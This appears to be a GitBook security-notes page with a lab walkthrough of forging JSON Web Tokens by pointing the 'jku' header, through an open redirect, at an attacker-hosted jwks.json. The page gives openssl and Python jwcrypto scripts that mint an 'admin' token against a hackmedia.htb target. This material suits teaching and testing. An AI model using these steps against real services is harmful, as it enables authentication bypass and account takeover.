> For the complete documentation index, see [llms.txt](https://l33t-en0ugh.gitbook.io/infosec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://l33t-en0ugh.gitbook.io/infosec/web-exploitation/attacking-json-web-token.md).

# Attacking JSON Web Token

Let's say, this is a normal user web page.

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2F4x61dGXdjjm7MvewNQ3p%2Fimage.png?alt=media\&token=ea737921-86f5-4558-adac-1d36a36db50b)

When we register and login with an account, the authentication mechanism is look like this.

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2F7Um32CGnlXb4QPdh3Ezv%2Fimage.png?alt=media\&token=a8b830cb-e1f4-4576-a39d-c09b2c8e355e)

When we decode it,

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2FjK6T0bYx4U2IwjgJiQeG%2Fimage.png?alt=media\&token=cd857198-cda3-4233-9973-b537c54cf538)

It's using `RS256` algorithm and token is using `jku` header parameter which contains the JSON Web Key and the URL is to be used for token verification.

{% hint style="info" %}
The jku header is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS.
{% endhint %}

The `jku` header url is look like this,

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2FBekdqAAIeMjAtjJDTudU%2Fimage.png?alt=media\&token=a0f3a63d-3db1-4112-b3e3-1655468c12e2)

If an attacker generate a public and private key pairs and create a new token with a new private key (which we generated) and replace `jku` header with the url which contains new generated `jwks.json` file (host on a web server) and then the token would be accept by the server.

Download or copy that `jwks.json` file.

#### Creating a new keypair.pem

```bash
openssl genrsa -out keypair.pem 2048
```

#### Generating n,e,kid

We're using python `jwcrypto` module to generate `n,e and kid`&#x20;

Install `pip3 install jwcrypto`&#x20;

{% code title="jwk-gen-1.py" %}

```python
#!/usr/bin/python3

from jwcrypto import jwk,jwt 

with open('keypair.pem','rb') as pemfile:
	key = jwk.JWK.from_pem(pemfile.read())

print(key)
print("n: ", key.n)
print("e: ", key.e)py
```

{% endcode %}

Run `python3 jwk-gen-1.py` and the output should look like this

```json
{"kid":"CrNfhdyvBdPsLMc_HlfoMXfHhCCsxVU7puGGIjKY7Eo","thumbprint":"CrNfhdyvBdPsLMc_HlfoMXfHhCCsxVU7puGGIjKY7Eo"}
n:  _nnl4TPSAoA6JeumpR-ZgrIdu7K76Y1BEhAbIQ16Oe5Idp-DVz5qValRBGDH0XwYic5ukiNJYhKwFZv5S50fYo0zUgiBuHJzocQc1eD8duUTjvRIHJCc6DaXsRtJcq1paSfLds6FQQ0Q0hOY_aMF7gFOYeQ-i6mKGa8rA6nDU-267CsEUIcxJFV6a2Zw3597BMBNys_hwB75yst-XfmUGntyOloru1LH8NCPQvMBrmcLPmxeZpwF1Cisfy3Fcx0_gYCs4ZXyVbEHiGYoDEpZ_oO1rqqo3dtX877KWF11deuPFfNqblw9p1hIxgTtdStrUi0_JWUYP5PEct4KNdWIkw
e:  AQAB
```

Replace `kid` , `n` and `e` in your `jwks.json` file like this,

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2F7wJcXmWg3uGbfAfCLduH%2Fimage.png?alt=media\&token=53d08883-408e-4b08-bcad-dd64e91b2176)

Now we can create a new token as username `admin`&#x20;

#### Creating new token

{% code title="token-gen.py" %}

```python
#!/usr/bin/python3

from jwcrypto import jwk,jwt 

with open('keypair.pem','rb') as pemfile:
	key = jwk.JWK.from_pem(pemfile.read())

headers = {
	"alg": "RS256",
  	"jku": "http://hackmedia.htb/static/../redirect/?url=10.10.14.18:8000/jwks.json"
}

Token = jwt.JWT(header=headers, claims={"user":"admin"})
Token.make_signed_token(key)
print(Token.serialize())
```

{% endcode %}

**NOTE**: If the server validate the original url, we can use the `Redirect` method like above. If not, you can use just like `"jku": "http://yourwebsever.com/jwks.json"`

Run that script and we will get a new token like this.

```
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjY1OjgwMDAvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.8XfoCJP-whwgrE02ZGPuS6mLmVuvzZ9StyUBb92M6GZLgUVLWmew-Bo7QTBmIa7JJSLONmKOqefbcVJVExmm8YCf95tCmKlLM28Nzq2lQsxlZh5v-cDJ21sHL5O1hahB7sJCULZDSRwrOEwWwS2y_eBtGr70RBqst0j8135S9ppHDXgcP0xWVkTV-x0jVpXNyfX-ETxIyjqlrIw7M2nX6AXS2bhvraYtKx7ARHxh52PsirawfyQhwElb1-AF4hKWElDKnEV9kPHa2D-KFp-ESUQFx8sQMH0Q4saDQCmwibT61H92qn8geH1k_KlC90-BM1pgik1IqMNrmRJa4YA0nQ
```

Now create a web server, copy that a new token and replace it in a cookie header in web page.

```
python3 -m http.server 8000
```

When we replace the token and refresh page, it will request/download `jwks.json` file in our web server.

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2Fjnk0B2iRmMW7J6dmDhDx%2Fimage.png?alt=media\&token=33c038d8-5a81-4c03-9ce8-187c584cc159)

![](https://3759110756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2FWY1wn1lSlSCNRsPbCx2d%2Fimage.png?alt=media\&token=ee901466-8d36-4207-91d7-2df76d9186f9)

Now we got admin panel by `jku header claiming` method.
